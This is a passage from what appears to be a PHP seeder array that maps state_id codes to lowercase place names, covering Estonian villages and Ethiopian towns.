'name' => 'treimani'],\n ['state_id' => '1111', 'name' => 'urge'],\n ['state_id' => '1111', 'name' => 'uulu'],\n ['state_id' => '1111', 'name' => 'vahenurme'],\n ['state_id' => '1111', 'name' => 'vaki'],\n ['state_id' => '1111', 'name' => 'vandra'],\n ['state_id' => '1111', 'name' => 'varbla'],\n ['state_id' => '1111', 'name' => 'veelikse'],\n ['state_id' => '1111', 'name' => 'vihtra'],\n ['state_id' => '1111', 'name' => 'voidu'],\n ['state_id' => '1111', 'name' => 'voiste'],\n ['state_id' => '1112', 'name' => 'aarna'],\n ['state_id' => '1112', 'name' => 'ahja'],\n ['state_id' => '1112', 'name' => 'erastvere'],\n ['state_id' => '1112', 'name' => 'himma'],\n ['state_id' => '1112', 'name' => 'himmaste'],\n ['state_id' => '1112', 'name' => 'holvandi'],\n ['state_id' => '1112', 'name' => 'ihamaru'],\n ['state_id' => '1112', 'name' => 'jaanimoisa'],\n ['state_id' => '1112', 'name' => 'kanepi'],\n ['state_id' => '1112', 'name' => 'karilatsi'],\n ['state_id' => '1112', 'name' => 'karsa'],\n ['state_id' => '1112', 'name' => 'karste'],\n ['state_id' => '1112', 'name' => 'kauksi'],\n ['state_id' => '1112', 'name' => 'kiidjarve'],\n ['state_id' => '1112', 'name' => 'kostrimae'],\n ['state_id' => '1112', 'name' => 'krootuse'],\n ['state_id' => '1112', 'name' => 'leevaku'],\n ['state_id' => '1112', 'name' => 'leevi'],\n ['state_id' => '1112', 'name' => 'leevijoe'],\n ['state_id' => '1112', 'name' => 'linte'],\n ['state_id' => '1112', 'name' => 'lootvina'],\n ['state_id' => '1112', 'name' => 'maaritsa'],\n ['state_id' => '1112', 'name' => 'mammaste'],\n ['state_id' => '1112', 'name' => 'metste'],\n ['state_id' => '1112', 'name' => 'mikitamae'],\n ['state_id' => '1112', 'name' => 'mooste'],\n ['state_id' => '1112', 'name' => 'naha'],\n ['state_id' => '1112', 'name' => 'orava'],\n ['state_id' => '1112', 'name' => 'pahtpaa'],\n ['state_id' => '1112', 'name' => 'partsi'],\n ['state_id' => '1112', 'name' => 'peri'],\n ['state_id' => '1112', 'name' => 'piigandi'],\n ['state_id' => '1112', 'name' => 'polgaste'],\n ['state_id' => '1112', 'name' => 'polva'],\n ['state_id' => '1112', 'name' => 'prangli'],\n ['state_id' => '1112', 'name' => 'puuri'],\n ['state_id' => '1112', 'name' => 'raadama'],\n ['state_id' => '1112', 'name' => 'rahumae'],\n ['state_id' => '1112', 'name' => 'raigla'],\n ['state_id' => '1112', 'name' => 'rapina'],\n ['state_id' => '1112', 'name' => 'rasina'],\n ['state_id' => '1112', 'name' => 'ristipalo'],\n ['state_id' => '1112', 'name' => 'rosma'],\n ['state_id' => '1112', 'name' => 'ruusa'],\n ['state_id' => '1112', 'name' => 'saverna'],\n ['state_id' => '1112', 'name' => 'sillapaa'],\n ['state_id' => '1112', 'name' => 'soodoma'],\n ['state_id' => '1112', 'name' => 'suurkula'],\n ['state_id' => '1112', 'name' => 'taevaskoja'],\n ['state_id' => '1112', 'name' => 'tannassilma'],\n ['state_id' => '1112', 'name' => 'tilsi'],\n ['state_id' => '1112', 'name' => 'treski'],\n ['state_id' => '1112', 'name' => 'vaike-rosna'],\n ['state_id' => '1112', 'name' => 'valgjarve'],\n ['state_id' => '1112', 'name' => 'vana-koiola'],\n ['state_id' => '1112', 'name' => 'vardja'],\n ['state_id' => '1112', 'name' => 'varska'],\n ['state_id' => '1112', 'name' => 'vastse-kuuste'],\n ['state_id' => '1112', 'name' => 'veriora'],\n ['state_id' => '1112', 'name' => 'viluste'],\n ['state_id' => '1112', 'name' => 'voopsu'],\n ['state_id' => '1113', 'name' => 'aespa'],\n ['state_id' => '1113', 'name' => 'alu'],\n ['state_id' => '1113', 'name' => 'eidapere'],\n ['state_id' => '1113', 'name' => 'hageri'],\n ['state_id' => '1113', 'name' => 'hagudi'],\n ['state_id' => '1113', 'name' => 'haimre'],\n ['state_id' => '1113', 'name' => 'hertu'],\n ['state_id' => '1113', 'name' => 'iira'],\n ['state_id' => '1113', 'name' => 'ingliste'],\n ['state_id' => '1113', 'name' => 'jarlepa'],\n ['state_id' => '1113', 'name' => 'jarvakandi'],\n ['state_id' => '1113', 'name' => 'juuru'],\n ['state_id' => '1113', 'name' => 'kaerepere'],\n ['state_id' => '1113', 'name' => 'kaiu'],\n ['state_id' => '1113', 'name' => 'kalbu'],\n ['state_id' => '1113', 'name' => 'karu'],\n ['state_id' => '1113', 'name' => 'kasti'],\n ['state_id' => '1113', 'name' => 'keava'],\n ['state_id' => '1113', 'name' => 'kehtna'],\n ['state_id' => '1113', 'name' => 'kivi-vigala'],\n ['state_id' => '1113', 'name' => 'kodila'],\n ['state_id' => '1113', 'name' => 'kohila'],\n ['state_id' => '1113', 'name' => 'kuimetsa'],\n ['state_id' => '1113', 'name' => 'kuusiku'],\n ['state_id' => '1113', 'name' => 'laukna'],\n ['state_id' => '1113', 'name' => 'lelle'],\n ['state_id' => '1113', 'name' => 'lipa'],\n ['state_id' => '1113', 'name' => 'lohu'],\n ['state_id' => '1113', 'name' => 'lokuta'],\n ['state_id' => '1113', 'name' => 'maidla'],\n ['state_id' => '1113', 'name' => 'marjamaa'],\n ['state_id' => '1113', 'name' => 'masti'],\n ['state_id' => '1113', 'name' => 'moisamaa'],\n ['state_id' => '1113', 'name' => 'naravere'],\n ['state_id' => '1113', 'name' => 'orgita'],\n ['state_id' => '1113', 'name' => 'paardu'],\n ['state_id' => '1113', 'name' => 'pae'],\n ['state_id' => '1113', 'name' => 'pahkla'],\n ['state_id' => '1113', 'name' => 'pihali'],\n ['state_id' => '1113', 'name' => 'pirgu'],\n ['state_id' => '1113', 'name' => 'prillimae'],\n ['state_id' => '1113', 'name' => 'purila'],\n ['state_id' => '1113', 'name' => 'purku'],\n ['state_id' => '1113', 'name' => 'rabivere'],\n ['state_id' => '1113', 'name' => 'raikkula'],\n ['state_id' => '1113', 'name' => 'rangu'],\n ['state_id' => '1113', 'name' => 'rapla'],\n ['state_id' => '1113', 'name' => 'salutaguse'],\n ['state_id' => '1113', 'name' => 'sipa'],\n ['state_id' => '1113', 'name' => 'sotke'],\n ['state_id' => '1113', 'name' => 'sutlema'],\n ['state_id' => '1113', 'name' => 'tamme'],\n ['state_id' => '1113', 'name' => 'teenuse'],\n ['state_id' => '1113', 'name' => 'uuskula'],\n ['state_id' => '1113', 'name' => 'vahastu'],\n ['state_id' => '1113', 'name' => 'valgu'],\n ['state_id' => '1113', 'name' => 'valtu'],\n ['state_id' => '1113', 'name' => 'vana-kaiu'],\n ['state_id' => '1113', 'name' => 'vana-vigala'],\n ['state_id' => '1113', 'name' => 'varbola'],\n ['state_id' => '1113', 'name' => 'vilivere'],\n ['state_id' => '1114', 'name' => 'arandi'],\n ['state_id' => '1114', 'name' => 'aste'],\n ['state_id' => '1114', 'name' => 'eikla'],\n ['state_id' => '1114', 'name' => 'hellamaa'],\n ['state_id' => '1114', 'name' => 'kao'],\n ['state_id' => '1114', 'name' => 'karja'],\n ['state_id' => '1114', 'name' => 'karla'],\n ['state_id' => '1114', 'name' => 'kihelkonna'],\n ['state_id' => '1114', 'name' => 'koimla'],\n ['state_id' => '1114', 'name' => 'koljala'],\n ['state_id' => '1114', 'name' => 'korkkula'],\n ['state_id' => '1114', 'name' => 'korkvere'],\n ['state_id' => '1114', 'name' => 'kudjape'],\n ['state_id' => '1114', 'name' => 'kuressaare'],\n ['state_id' => '1114', 'name' => 'laatsa'],\n ['state_id' => '1114', 'name' => 'lahekula'],\n ['state_id' => '1114', 'name' => 'laimjala'],\n ['state_id' => '1114', 'name' => 'leisi'],\n ['state_id' => '1114', 'name' => 'liiva'],\n ['state_id' => '1114', 'name' => 'lumanda'],\n ['state_id' => '1114', 'name' => 'metskula'],\n ['state_id' => '1114', 'name' => 'mustjala'],\n ['state_id' => '1114', 'name' => 'nasva'],\n ['state_id' => '1114', 'name' => 'nommkula'],\n ['state_id' => '1114', 'name' => 'orissaare'],\n ['state_id' => '1114', 'name' => 'pahkla'],\n ['state_id' => '1114', 'name' => 'parsama'],\n ['state_id' => '1114', 'name' => 'pihtla'],\n ['state_id' => '1114', 'name' => 'sakla'],\n ['state_id' => '1114', 'name' => 'salme'],\n ['state_id' => '1114', 'name' => 'sandla'],\n ['state_id' => '1114', 'name' => 'tagavere'],\n ['state_id' => '1114', 'name' => 'tornimae'],\n ['state_id' => '1114', 'name' => 'valjala'],\n ['state_id' => '1114', 'name' => 'vohma'],\n ['state_id' => '1115', 'name' => 'aardla'],\n ['state_id' => '1115', 'name' => 'aksi'],\n ['state_id' => '1115', 'name' => 'alasoo'],\n ['state_id' => '1115', 'name' => 'alatskivi'],\n ['state_id' => '1115', 'name' => 'annikoru'],\n ['state_id' => '1115', 'name' => 'aravu'],\n ['state_id' => '1115', 'name' => 'elva'],\n ['state_id' => '1115', 'name' => 'erala'],\n ['state_id' => '1115', 'name' => 'ervu'],\n ['state_id' => '1115', 'name' => 'haage'],\n ['state_id' => '1115', 'name' => 'haaslava'],\n ['state_id' => '1115', 'name' => 'ignase'],\n ['state_id' => '1115', 'name' => 'illi'],\n ['state_id' => '1115', 'name' => 'ilmatsalu'],\n ['state_id' => '1115', 'name' => 'kaagvere'],\n ['state_id' => '1115', 'name' => 'kaardi'],\n ['state_id' => '1115', 'name' => 'kaarlijarve'],\n ['state_id' => '1115', 'name' => 'kallaste'],\n ['state_id' => '1115', 'name' => 'kalme'],\n ['state_id' => '1115', 'name' => 'kambja'],\n ['state_id' => '1115', 'name' => 'kandikula'],\n ['state_id' => '1115', 'name' => 'karevere'],\n ['state_id' => '1115', 'name' => 'karkna'],\n ['state_id' => '1115', 'name' => 'kasepaa'],\n ['state_id' => '1115', 'name' => 'kavastu'],\n ['state_id' => '1115', 'name' => 'kirepi'],\n ['state_id' => '1115', 'name' => 'kodukula'],\n ['state_id' => '1115', 'name' => 'kokora'],\n ['state_id' => '1115', 'name' => 'kolkja'],\n ['state_id' => '1115', 'name' => 'konguta'],\n ['state_id' => '1115', 'name' => 'koosa'],\n ['state_id' => '1115', 'name' => 'koruste'],\n ['state_id' => '1115', 'name' => 'korvekula'],\n ['state_id' => '1115', 'name' => 'kulitse'],\n ['state_id' => '1115', 'name' => 'kurekula'],\n ['state_id' => '1115', 'name' => 'kurista'],\n ['state_id' => '1115', 'name' => 'laaniste'],\n ['state_id' => '1115', 'name' => 'laeva'],\n ['state_id' => '1115', 'name' => 'lahte'],\n ['state_id' => '1115', 'name' => 'lalli'],\n ['state_id' => '1115', 'name' => 'lapetukme'],\n ['state_id' => '1115', 'name' => 'lemmatsi'],\n ['state_id' => '1115', 'name' => 'lohkva'],\n ['state_id' => '1115', 'name' => 'lossimae'],\n ['state_id' => '1115', 'name' => 'luke'],\n ['state_id' => '1115', 'name' => 'luunja'],\n ['state_id' => '1115', 'name' => 'maksa'],\n ['state_id' => '1115', 'name' => 'maramaa'],\n ['state_id' => '1115', 'name' => 'marja'],\n ['state_id' => '1115', 'name' => 'meeksi'],\n ['state_id' => '1115', 'name' => 'meeri'],\n ['state_id' => '1115', 'name' => 'mehikoorma'],\n ['state_id' => '1115', 'name' => 'melliste'],\n ['state_id' => '1115', 'name' => 'metsakivi'],\n ['state_id' => '1115', 'name' => 'metsalaane'],\n ['state_id' => '1115', 'name' => 'moisanurme'],\n ['state_id' => '1115', 'name' => 'nina'],\n ['state_id' => '1115', 'name' => 'nogiaru'],\n ['state_id' => '1115', 'name' => 'noo'],\n ['state_id' => '1115', 'name' => 'pilka'],\n ['state_id' => '1115', 'name' => 'poka'],\n ['state_id' => '1115', 'name' => 'pooritsa'],\n ['state_id' => '1115', 'name' => 'puhja'],\n ['state_id' => '1115', 'name' => 'rahinge'],\n ['state_id' => '1115', 'name' => 'raigaste'],\n ['state_id' => '1115', 'name' => 'ramsi'],\n ['state_id' => '1115', 'name' => 'rani'],\n ['state_id' => '1115', 'name' => 'rannu'],\n ['state_id' => '1115', 'name' => 'rebase'],\n ['state_id' => '1115', 'name' => 'reola'],\n ['state_id' => '1115', 'name' => 'rohu'],\n ['state_id' => '1115', 'name' => 'roiu'],\n ['state_id' => '1115', 'name' => 'rongu'],\n ['state_id' => '1115', 'name' => 'saadjarve'],\n ['state_id' => '1115', 'name' => 'sinikula'],\n ['state_id' => '1115', 'name' => 'sirgu'],\n ['state_id' => '1115', 'name' => 'soinaste'],\n ['state_id' => '1115', 'name' => 'sojamaa'],\n ['state_id' => '1115', 'name' => 'tahtvere'],\n ['state_id' => '1115', 'name' => 'tammiste'],\n ['state_id' => '1115', 'name' => 'tammistu'],\n ['state_id' => '1115', 'name' => 'tartu'],\n ['state_id' => '1115', 'name' => 'teedla'],\n ['state_id' => '1115', 'name' => 'tilga'],\n ['state_id' => '1115', 'name' => 'toravere'],\n ['state_id' => '1115', 'name' => 'torvandi'],\n ['state_id' => '1115', 'name' => 'tuki'],\n ['state_id' => '1115', 'name' => 'uderna'],\n ['state_id' => '1115', 'name' => 'uhti'],\n ['state_id' => '1115', 'name' => 'ulenurme'],\n ['state_id' => '1115', 'name' => 'ulila'],\n ['state_id' => '1115', 'name' => 'unikula'],\n ['state_id' => '1115', 'name' => 'vahi'],\n ['state_id' => '1115', 'name' => 'vaike-rakke'],\n ['state_id' => '1115', 'name' => 'valguta'],\n ['state_id' => '1115', 'name' => 'vana-kuuste'],\n ['state_id' => '1115', 'name' => 'vara'],\n ['state_id' => '1115', 'name' => 'varnja'],\n ['state_id' => '1115', 'name' => 'vasula'],\n ['state_id' => '1115', 'name' => 'vedu'],\n ['state_id' => '1115', 'name' => 'vesneri'],\n ['state_id' => '1115', 'name' => 'vissi'],\n ['state_id' => '1115', 'name' => 'voibla'],\n ['state_id' => '1115', 'name' => 'voika'],\n ['state_id' => '1115', 'name' => 'vonnu'],\n ['state_id' => '1115', 'name' => 'voopste'],\n ['state_id' => '1115', 'name' => 'vorbuse'],\n ['state_id' => '1116', 'name' => 'aakre'],\n ['state_id' => '1116', 'name' => 'ala'],\n ['state_id' => '1116', 'name' => 'hargla'],\n ['state_id' => '1116', 'name' => 'hellenurme'],\n ['state_id' => '1116', 'name' => 'helme'],\n ['state_id' => '1116', 'name' => 'hummuli'],\n ['state_id' => '1116', 'name' => 'jeti'],\n ['state_id' => '1116', 'name' => 'jogeveste'],\n ['state_id' => '1116', 'name' => 'kaagjarve'],\n ['state_id' => '1116', 'name' => 'kalme'],\n ['state_id' => '1116', 'name' => 'karjatnurme'],\n ['state_id' => '1116', 'name' => 'karula'],\n ['state_id' => '1116', 'name' => 'keeni'],\n ['state_id' => '1116', 'name' => 'koikkula'],\n ['state_id' => '1116', 'name' => 'laanemetsa'],\n ['state_id' => '1116', 'name' => 'laatre'],\n ['state_id' => '1116', 'name' => 'laukula'],\n ['state_id' => '1116', 'name' => 'leebiku'],\n ['state_id' => '1116', 'name' => 'linna'],\n ['state_id' => '1116', 'name' => 'lossikula'],\n ['state_id' => '1116', 'name' => 'lullemae'],\n ['state_id' => '1116', 'name' => 'moldre'],\n ['state_id' => '1116', 'name' => 'nouni'],\n ['state_id' => '1116', 'name' => 'nupli'],\n ['state_id' => '1116', 'name' => 'oru'],\n ['state_id' => '1116', 'name' => 'oruste'],\n ['state_id' => '1116', 'name' => 'otepaa'],\n ['state_id' => '1116', 'name' => 'paidla'],\n ['state_id' => '1116', 'name' => 'paju'],\n ['state_id' => '1116', 'name' => 'palupera'],\n ['state_id' => '1116', 'name' => 'patkula'],\n ['state_id' => '1116', 'name' => 'piiri'],\n ['state_id' => '1116', 'name' => 'pikasilla'],\n ['state_id' => '1116', 'name' => 'pilkuse'],\n ['state_id' => '1116', 'name' => 'puhajarve'],\n ['state_id' => '1116', 'name' => 'puka'],\n ['state_id' => '1116', 'name' => 'restu'],\n ['state_id' => '1116', 'name' => 'riidaja'],\n ['state_id' => '1116', 'name' => 'sangaste'],\n ['state_id' => '1116', 'name' => 'sihva'],\n ['state_id' => '1116', 'name' => 'sooru'],\n ['state_id' => '1116', 'name' => 'taagepera'],\n ['state_id' => '1116', 'name' => 'tagula'],\n ['state_id' => '1116', 'name' => 'taheva'],\n ['state_id' => '1116', 'name' => 'tiidu'],\n ['state_id' => '1116', 'name' => 'tolliste'],\n ['state_id' => '1116', 'name' => 'torva'],\n ['state_id' => '1116', 'name' => 'tsirguliina'],\n ['state_id' => '1116', 'name' => 'valga'],\n ['state_id' => '1116', 'name' => 'vana-otepaa'],\n ['state_id' => '1117', 'name' => 'abja-paluoja'],\n ['state_id' => '1117', 'name' => 'abja-vanamoisa'],\n ['state_id' => '1117', 'name' => 'aidu'],\n ['state_id' => '1117', 'name' => 'angi'],\n ['state_id' => '1117', 'name' => 'anikatsi'],\n ['state_id' => '1117', 'name' => 'arikula'],\n ['state_id' => '1117', 'name' => 'halliste'],\n ['state_id' => '1117', 'name' => 'heimtali'],\n ['state_id' => '1117', 'name' => 'holstre'],\n ['state_id' => '1117', 'name' => 'intsu'],\n ['state_id' => '1117', 'name' => 'jamejala'],\n ['state_id' => '1117', 'name' => 'jaska'],\n ['state_id' => '1117', 'name' => 'kaavere'],\n ['state_id' => '1117', 'name' => 'kamara'],\n ['state_id' => '1117', 'name' => 'karksi'],\n ['state_id' => '1117', 'name' => 'karksi-nuia'],\n ['state_id' => '1117', 'name' => 'karstna'],\n ['state_id' => '1117', 'name' => 'karula'],\n ['state_id' => '1117', 'name' => 'kobruvere'],\n ['state_id' => '1117', 'name' => 'koidama'],\n ['state_id' => '1117', 'name' => 'koksvere'],\n ['state_id' => '1117', 'name' => 'kolga-jaani'],\n ['state_id' => '1117', 'name' => 'koo'],\n ['state_id' => '1117', 'name' => 'kopu'],\n ['state_id' => '1117', 'name' => 'kulla'],\n ['state_id' => '1117', 'name' => 'lalsi'],\n ['state_id' => '1117', 'name' => 'leie'],\n ['state_id' => '1117', 'name' => 'lilli'],\n ['state_id' => '1117', 'name' => 'lohavere'],\n ['state_id' => '1117', 'name' => 'loodi'],\n ['state_id' => '1117', 'name' => 'maeltkula'],\n ['state_id' => '1117', 'name' => 'matapera'],\n ['state_id' => '1117', 'name' => 'meleski'],\n ['state_id' => '1117', 'name' => 'metskula'],\n ['state_id' => '1117', 'name' => 'moisakula'],\n ['state_id' => '1117', 'name' => 'monnaste'],\n ['state_id' => '1117', 'name' => 'mustivere'],\n ['state_id' => '1117', 'name' => 'mustla'],\n ['state_id' => '1117', 'name' => 'navesti'],\n ['state_id' => '1117', 'name' => 'odiste'],\n ['state_id' => '1117', 'name' => 'oisu'],\n ['state_id' => '1117', 'name' => 'olustvere'],\n ['state_id' => '1117', 'name' => 'pahuvere'],\n ['state_id' => '1117', 'name' => 'paistu'],\n ['state_id' => '1117', 'name' => 'parakula'],\n ['state_id' => '1117', 'name' => 'pari'],\n ['state_id' => '1117', 'name' => 'parsti'],\n ['state_id' => '1117', 'name' => 'peetrimoisa'],\n ['state_id' => '1117', 'name' => 'pilistvere'],\n ['state_id' => '1117', 'name' => 'pinska'],\n ['state_id' => '1117', 'name' => 'polde'],\n ['state_id' => '1117', 'name' => 'polli'],\n ['state_id' => '1117', 'name' => 'puiatu'],\n ['state_id' => '1117', 'name' => 'ramsi'],\n ['state_id' => '1117', 'name' => 'reegoldi'],\n ['state_id' => '1117', 'name' => 'saarepeedi'],\n ['state_id' => '1117', 'name' => 'savikoti'],\n ['state_id' => '1117', 'name' => 'sinialliku'],\n ['state_id' => '1117', 'name' => 'soe'],\n ['state_id' => '1117', 'name' => 'soomevere'],\n ['state_id' => '1117', 'name' => 'sudiste'],\n ['state_id' => '1117', 'name' => 'suislepa'],\n ['state_id' => '1117', 'name' => 'sultsi'],\n ['state_id' => '1117', 'name' => 'supsi'],\n ['state_id' => '1117', 'name' => 'surgavere'],\n ['state_id' => '1117', 'name' => 'suure-jaani'],\n ['state_id' => '1117', 'name' => 'taaksi'],\n ['state_id' => '1117', 'name' => 'tanassilma'],\n ['state_id' => '1117', 'name' => 'tinnikuru'],\n ['state_id' => '1117', 'name' => 'tohvri'],\n ['state_id' => '1117', 'name' => 'tuhalaane'],\n ['state_id' => '1117', 'name' => 'tusti'],\n ['state_id' => '1117', 'name' => 'ulde'],\n ['state_id' => '1117', 'name' => 'ulensi'],\n ['state_id' => '1117', 'name' => 'uusna'],\n ['state_id' => '1117', 'name' => 'valgita'],\n ['state_id' => '1117', 'name' => 'valma'],\n ['state_id' => '1117', 'name' => 'valuste'],\n ['state_id' => '1117', 'name' => 'vana-kariste'],\n ['state_id' => '1117', 'name' => 'vana-voidu'],\n ['state_id' => '1117', 'name' => 'vardi'],\n ['state_id' => '1117', 'name' => 'vardja'],\n ['state_id' => '1117', 'name' => 'vastemoisa'],\n ['state_id' => '1117', 'name' => 'veelikse'],\n ['state_id' => '1117', 'name' => 'verilaske'],\n ['state_id' => '1117', 'name' => 'veskimae'],\n ['state_id' => '1117', 'name' => 'viiratsi'],\n ['state_id' => '1117', 'name' => 'viljandi'],\n ['state_id' => '1117', 'name' => 'villa'],\n ['state_id' => '1117', 'name' => 'vohma'],\n ['state_id' => '1117', 'name' => 'voivaku'],\n ['state_id' => '1117', 'name' => 'vooru'],\n ['state_id' => '1118', 'name' => 'antsla'],\n ['state_id' => '1118', 'name' => 'haanja'],\n ['state_id' => '1118', 'name' => 'jarvere'],\n ['state_id' => '1118', 'name' => 'kaapa'],\n ['state_id' => '1118', 'name' => 'kirumpaa'],\n ['state_id' => '1118', 'name' => 'kobela'],\n ['state_id' => '1118', 'name' => 'kollino'],\n ['state_id' => '1118', 'name' => 'kose'],\n ['state_id' => '1118', 'name' => 'kraavi'],\n ['state_id' => '1118', 'name' => 'krabi'],\n ['state_id' => '1118', 'name' => 'kulaoru'],\n ['state_id' => '1118', 'name' => 'kuldre'],\n ['state_id' => '1118', 'name' => 'kuutsi'],\n ['state_id' => '1118', 'name' => 'lasva'],\n ['state_id' => '1118', 'name' => 'loosu'],\n ['state_id' => '1118', 'name' => 'lusti'],\n ['state_id' => '1118', 'name' => 'meegomae'],\n ['state_id' => '1118', 'name' => 'meremae'],\n ['state_id' => '1118', 'name' => 'misso'],\n ['state_id' => '1118', 'name' => 'moniste'],\n ['state_id' => '1118', 'name' => 'navi'],\n ['state_id' => '1118', 'name' => 'nursi'],\n ['state_id' => '1118', 'name' => 'obinitsa'],\n ['state_id' => '1118', 'name' => 'osula'],\n ['state_id' => '1118', 'name' => 'otsa'],\n ['state_id' => '1118', 'name' => 'parksepa'],\n ['state_id' => '1118', 'name' => 'puiga'],\n ['state_id' => '1118', 'name' => 'raiste'],\n ['state_id' => '1118', 'name' => 'rimmi'],\n ['state_id' => '1118', 'name' => 'rouge'],\n ['state_id' => '1118', 'name' => 'ruusmae'],\n ['state_id' => '1118', 'name' => 'saru'],\n ['state_id' => '1118', 'name' => 'somerpalu'],\n ['state_id' => '1118', 'name' => 'sulbi'],\n ['state_id' => '1118', 'name' => 'taberlaane'],\n ['state_id' => '1118', 'name' => 'tagakula'],\n ['state_id' => '1118', 'name' => 'tsolgo'],\n ['state_id' => '1118', 'name' => 'tsooru'],\n ['state_id' => '1118', 'name' => 'urvaste'],\n ['state_id' => '1118', 'name' => 'uue-antsla'],\n ['state_id' => '1118', 'name' => 'vaabina'],\n ['state_id' => '1118', 'name' => 'vagula'],\n ['state_id' => '1118', 'name' => 'vaimela'],\n ['state_id' => '1118', 'name' => 'vana-antsla'],\n ['state_id' => '1118', 'name' => 'vana-roosa'],\n ['state_id' => '1118', 'name' => 'vana-vastseliina'],\n ['state_id' => '1118', 'name' => 'varstu'],\n ['state_id' => '1118', 'name' => 'vastseliina'],\n ['state_id' => '1118', 'name' => 'verijarve'],\n ['state_id' => '1118', 'name' => 'viitina'],\n ['state_id' => '1118', 'name' => 'viitka'],\n ['state_id' => '1118', 'name' => 'visela'],\n ['state_id' => '1118', 'name' => 'voru'],\n ['state_id' => '1118', 'name' => 'vorumoisa'],\n ['state_id' => '1120', 'name' => 'asayita'],\n ['state_id' => '1120', 'name' => 'awash'],\n ['state_id' => '1120', 'name' => 'dubti'],\n ['state_id' => '1120', 'name' => 'gewane'],\n ['state_id' => '1121', 'name' => 'addi ark\\'ay'],\n ['state_id' => '1121', 'name' => 'addis \\'alem'],\n ['state_id' => '1121', 'name' => 'addis zemen'],\n ['state_id' => '1121', 'name' => 'adet'],\n ['state_id' => '1121', 'name' => 'bahir dar'],\n ['state_id' => '1121', 'name' => 'bati'],\n ['state_id' => '1121', 'name' => 'bichena'],\n ['state_id' => '1121', 'name' => 'bure'],\n ['state_id' => '1121', 'name' => 'chagni'],\n ['state_id' => '1121', 'name' => 'dabat'],\n ['state_id' => '1121', 'name' => 'dangla'],\n ['state_id' => '1121', 'name' => 'debark'],\n ['state_id' => '1121', 'name' => 'debre birhan'],\n ['state_id' => '1121', 'name' => 'debre mark\\'os'],\n ['state_id' => '1121', 'name' => 'debre sina'],\n ['state_id' => '1121', 'name' => 'debre tabor'],\n ['state_id' => '1121', 'name' => 'debre werk'],\n ['state_id' => '1121', 'name' => 'dejen'],\n ['state_id' => '1121', 'name' => 'dese'],\n ['state_id' => '1121', 'name' => 'finote selam'],\n ['state_id' => '1121', 'name' => 'gondar'],\n ['state_id' => '1121', 'name' => 'k\\'obo'],\n ['state_id' => '1121', 'name' => 'kembolcha'],\n ['state_id' => '1121', 'name' => 'kemise'],\n ['state_id' => '1121', 'name' => 'lalibela'],\n ['state_id' => '1121', 'name' => 'mott\\'a'],\n ['state_id' => '1121', 'name' => 'nefas mewcha'],\n ['state_id' => '1121', 'name' => 'sek\\'ot\\'a'],\n ['state_id' => '1121', 'name' => 'shewa robit'],\n ['state_id' => '1121', 'name' => 'weldiya'],\n ['state_id' => '1121', 'name' => 'were ilu'],\n ['state_id' => '1121', 'name' => 'werota'],\n ['state_id' => '1122', 'name' => 'asosa'],\n ['state_id' => '1123', 'name' => 'dire dawa'],\n ['state_id' => '1124', 'name' => 'gambela'],\n ['state_id' => '1125', 'name' => 'harer'],\n ['state_id' => '1126', 'name' => 'jigjiga'],\n ['state_id' => '1128', 'name' => '\\'alem maya'],\n ['state_id' => '1128', 'name' => 'abomsa'],\n ['state_id' => '1128', 'name' => 'agaro'],\n ['state_id' => '1128', 'name' => 'asasa'],\n ['state_id' => '1128', 'name' => 'asbe teferi'],\n ['state_id' => '1128', 'name' => 'assela'],\n ['state_id' => '1128', 'name' => 'bako'],\n ['state_id' => '1128', 'name' => 'bedele'],\n ['state_id' => '1128', 'name' => 'bedesa'],\n ['state_id' => '1128', 'name' => 'burayu'],\n ['state_id' => '1128', 'name' => 'debre zeyit'],\n ['state_id' => '1128', 'name' => 'deder'],\n ['state_id' => '1128', 'name' => 'dembi dolo'],\n ['state_id' => '1128', 'name' => 'dodola'],\n ['state_id' => '1128', 'name' => 'fiche'],\n ['state_id' => '1128', 'name' => 'gebre guracha'],\n ['state_id' => '1128', 'name' => 'gedo'],\n ['state_id' => '1128', 'name' => 'gelemso'],\n ['state_id' => '1128', 'name' => 'gimbi'],\n ['state_id' => '1128', 'name' => 'ginch\\'i'],\n ['state_id' => '1128', 'name' => 'ginir'],\n ['state_id' => '1128', 'name' => 'giyon'],\n ['state_id' => '1128', 'name' => 'goba'],\n ['state_id' => '1128', 'name' => 'gore'],\n ['state_id' => '1128', 'name' => 'guder'],\n ['state_id' => '1128', 'name' => 'hagere hiywet'],\n ['state_id' => '1128', 'name' => 'hagere maryam'],\n ['state_id' => '1128', 'name' => 'hirna'],\n ['state_id' => '1128', 'name' => 'holeta genet'],\n ['state_id' => '1128', 'name' => 'huruta'],\n ['state_id' => '1128', 'name' => 'jimma'],\n ['state_id' => '1128', 'name' => 'kibre mengist'],\n ['state_id' => '1128', 'name' => 'kofele'],\n ['state_id' => '1128', 'name' => 'mega'],\n ['state_id' => '1128', 'name' => 'mek\\'i'],\n ['state_id' => '1128', 'name' => 'mendi'],\n ['state_id' => '1128', 'name' => 'metehara'],\n ['state_id' => '1128', 'name' => 'metu'],\n ['state_id' => '1128', 'name' => 'mojo'],\n ['state_id' => '1128', 'name' => 'moyale'],\n ['state_id' => '1128', 'name' => 'nazret'],\n ['state_id' => '1128', 'name' => 'nedjo'],\n ['state_id' => '1128', 'name' => 'negele'],\n ['state_id' => '1128', 'name' => 'nek\\'emte'],\n ['state_id' => '1128', 'name' => 'robe'],\n ['state_id' => '1128', 'name' => 'sebeta'],\n ['state_id' => '1128', 'name' => 'sendafa'],\n ['state_id' => '1128', 'name' => 'shakiso'],\n ['state_id' => '1128', 'name' => 'shambu'],\n ['state_id' => '1128', 'name' => 'shashemenne'],\n ['state_id' => '1128', 'name' => 'sheh hussen'],\n ['state_id' => '1128', 'name' => 'sire'],\n ['state_id' => '1128', 'name' => 'tulu bolo'],\n ['state_id' => '1128', 'name' => 'welench\\'iti'],\n ['state_id' => '1128', 'name' => 'welk\\'it\\'e'],\n ['state_id' => '1128', 'name' => 'wonji'],\n ['state_id' => '1128', 'name' => 'yabelo'],\n ['state_id' => '1128', 'name' => 'ziway'],\n ['state_id' => '1129', 'name' => 'bircot'],\n ['state_id' => '1129', 'name' => 'degeh bur'],\n ['state_id' => '1129', 'name' => 'dollo odo'],\n ['state_id' => '1129', 'name' => 'imi'],\n ['state_id' => '1129', 'name' => 'jijiga'],\n ['state_id' => '1129', 'name' => 'werder'],\n ['state_id' => '1130', 'name' => 'alaba kulito'],\n ['state_id' => '1130', 'name' => 'arba minch'],\n ['state_id' => '1130', 'name' => 'areka'],\n ['state_id' => '1130', 'name' => 'awassa'],\n ['state_id' => '1130', 'name' => 'bako'],\n ['state_id' => '1130', 'name' => 'boditi'],\n ['state_id' => '1130', 'name' => 'bonga'],\n ['state_id' => 